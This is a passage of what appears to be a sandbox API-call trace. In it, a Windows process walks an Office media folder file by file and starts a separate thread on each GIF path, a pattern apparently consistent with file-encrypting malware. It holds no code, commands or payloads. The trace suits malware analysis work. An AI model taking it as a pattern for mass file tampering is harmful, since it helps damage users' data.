returned 1 [0227.105] wcscmp (_String1="BD14768_.GIF", _String2="..") returned 1 [0227.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c23050 [0227.106] wcscpy (in: _Dest=0x42c23050, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.106] wcscat (in: _Dest=0x42c23050, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.106] wcscat (in: _Dest=0x42c23050, _Source="BD14768_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF" [0227.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c23050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8 [0227.106] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14769_.GIF", cAlternateFileName="")) returned 1 [0227.106] wcscmp (_String1="BD14769_.GIF", _String2=".") returned 1 [0227.106] wcscmp (_String1="BD14769_.GIF", _String2="..") returned 1 [0227.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c22fc0 [0227.107] wcscpy (in: _Dest=0x42c22fc0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.107] wcscat (in: _Dest=0x42c22fc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.107] wcscat (in: _Dest=0x42c22fc0, _Source="BD14769_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF" [0227.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c22fc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf78 [0227.107] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14800_.GIF", cAlternateFileName="")) returned 1 [0227.107] wcscmp (_String1="BD14800_.GIF", _String2=".") returned 1 [0227.107] wcscmp (_String1="BD14800_.GIF", _String2="..") returned 1 [0227.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c22990 [0227.108] wcscpy (in: _Dest=0x42c22990, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.108] wcscat (in: _Dest=0x42c22990, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.108] wcscat (in: _Dest=0x42c22990, _Source="BD14800_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF" [0227.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c22990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf3c [0227.108] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14801_.GIF", cAlternateFileName="")) returned 1 [0227.108] wcscmp (_String1="BD14801_.GIF", _String2=".") returned 1 [0227.108] wcscmp (_String1="BD14801_.GIF", _String2="..") returned 1 [0227.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a49b0 [0227.109] wcscpy (in: _Dest=0x202a49b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.109] wcscat (in: _Dest=0x202a49b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.109] wcscat (in: _Dest=0x202a49b0, _Source="BD14801_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF" [0227.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a49b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1530 [0227.109] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14844_.GIF", cAlternateFileName="")) returned 1 [0227.109] wcscmp (_String1="BD14844_.GIF", _String2=".") returned 1 [0227.109] wcscmp (_String1="BD14844_.GIF", _String2="..") returned 1 [0227.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a54f0 [0227.110] wcscpy (in: _Dest=0x202a54f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.110] wcscat (in: _Dest=0x202a54f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.110] wcscat (in: _Dest=0x202a54f0, _Source="BD14844_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF" [0227.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a54f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc4 [0227.110] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14845_.GIF", cAlternateFileName="")) returned 1 [0227.110] wcscmp (_String1="BD14845_.GIF", _String2=".") returned 1 [0227.111] wcscmp (_String1="BD14845_.GIF", _String2="..") returned 1 [0227.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a5a90 [0227.111] wcscpy (in: _Dest=0x202a5a90, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.111] wcscat (in: _Dest=0x202a5a90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.111] wcscat (in: _Dest=0x202a5a90, _Source="BD14845_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF" [0227.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1004 [0227.111] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14882_.GIF", cAlternateFileName="")) returned 1 [0227.112] wcscmp (_String1="BD14882_.GIF", _String2=".") returned 1 [0227.112] wcscmp (_String1="BD14882_.GIF", _String2="..") returned 1 [0227.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a53d0 [0227.112] wcscpy (in: _Dest=0x202a53d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.112] wcscat (in: _Dest=0x202a53d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.112] wcscat (in: _Dest=0x202a53d0, _Source="BD14882_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF" [0227.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a53d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd74 [0227.112] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14883_.GIF", cAlternateFileName="")) returned 1 [0227.112] wcscmp (_String1="BD14883_.GIF", _String2=".") returned 1 [0227.113] wcscmp (_String1="BD14883_.GIF", _String2="..") returned 1 [0227.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a5460 [0227.113] wcscpy (in: _Dest=0x202a5460, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.113] wcscat (in: _Dest=0x202a5460, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.113] wcscat (in: _Dest=0x202a5460, _Source="BD14883_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF" [0227.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17bc [0227.113] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14996_.GIF", cAlternateFileName="")) returned 1 [0227.114] wcscmp (_String1="BD14996_.GIF", _String2=".") returned 1 [0227.114] wcscmp (_String1="BD14996_.GIF", _String2="..") returned 1 [0227.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a5df0 [0227.114] wcscpy (in: _Dest=0x202a5df0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.114] wcscat (in: _Dest=0x202a5df0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.114] wcscat (in: _Dest=0x202a5df0, _Source="BD14996_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF" [0227.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1604 [0227.115] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14997_.GIF", cAlternateFileName="")) returned 1 [0227.115] wcscmp (_String1="BD14997_.GIF", _String2=".") returned 1 [0227.115] wcscmp (_String1="BD14997_.GIF", _String2="..") returned 1 [0227.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a5e80 [0227.115] wcscpy (in: _Dest=0x202a5e80, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.115] wcscat (in: _Dest=0x202a5e80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.115] wcscat (in: _Dest=0x202a5e80, _Source="BD14997_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF" [0227.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc [0227.116] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x220, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15034_.GIF", cAlternateFileName="")) returned 1 [0227.116] wcscmp (_String1="BD15034_.GIF", _String2=".") returned 1 [0227.116] wcscmp (_String1="BD15034_.GIF", _String2="..") returned 1 [0227.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a58e0 [0227.116] wcscpy (in: _Dest=0x202a58e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.116] wcscat (in: _Dest=0x202a58e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.116] wcscat (in: _Dest=0x202a58e0, _Source="BD15034_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF" [0227.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a58e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910 [0227.116] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x16e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15035_.GIF", cAlternateFileName="")) returned 1 [0227.117] wcscmp (_String1="BD15035_.GIF", _String2=".") returned 1 [0227.117] wcscmp (_String1="BD15035_.GIF", _String2="..") returned 1 [0227.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4a40 [0227.117] wcscpy (in: _Dest=0x202a4a40, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.117] wcscat (in: _Dest=0x202a4a40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.117] wcscat (in: _Dest=0x202a4a40, _Source="BD15035_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF" [0227.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0227.118] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9be95800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9be95800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15072_.GIF", cAlternateFileName="")) returned 1 [0227.118] wcscmp (_String1="BD15072_.GIF", _String2=".") returned 1 [0227.118] wcscmp (_String1="BD15072_.GIF", _String2="..") returned 1 [0227.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a5220 [0227.118] wcscpy (in: _Dest=0x202a5220, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.118] wcscat (in: _Dest=0x202a5220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.118] wcscat (in: _Dest=0x202a5220, _Source="BD15072_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF" [0227.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0227.119] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1a8500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9d1a8500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15073_.GIF", cAlternateFileName="")) returned 1 [0227.119] wcscmp (_String1="BD15073_.GIF", _String2=".") returned 1 [0227.119] wcscmp (_String1="BD15073_.GIF", _String2="..") returned 1 [0227.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a5cd0 [0227.119] wcscpy (in: _Dest=0x202a5cd0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.119] wcscat (in: _Dest=0x202a5cd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.119] wcscat (in: _Dest=0x202a5cd0, _Source="BD15073_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF" [0227.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24 [0227.120] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15155_.GIF", cAlternateFileName="")) returned 1 [0227.120] wcscmp (_String1="BD15155_.GIF", _String2=".") returned 1 [0227.120] wcscmp (_String1="BD15155_.GIF", _String2="..") returned 1 [0227.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85b7f0 [0227.120] wcscpy (in: _Dest=0x1b85b7f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.120] wcscat (in: _Dest=0x1b85b7f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.120] wcscat (in: _Dest=0x1b85b7f0, _Source="BD15155_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF" [0227.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b7f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c4 [0227.121] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15156_.GIF", cAlternateFileName="")) returned 1 [0227.121] wcscmp (_String1="BD15156_.GIF", _String2=".") returned 1 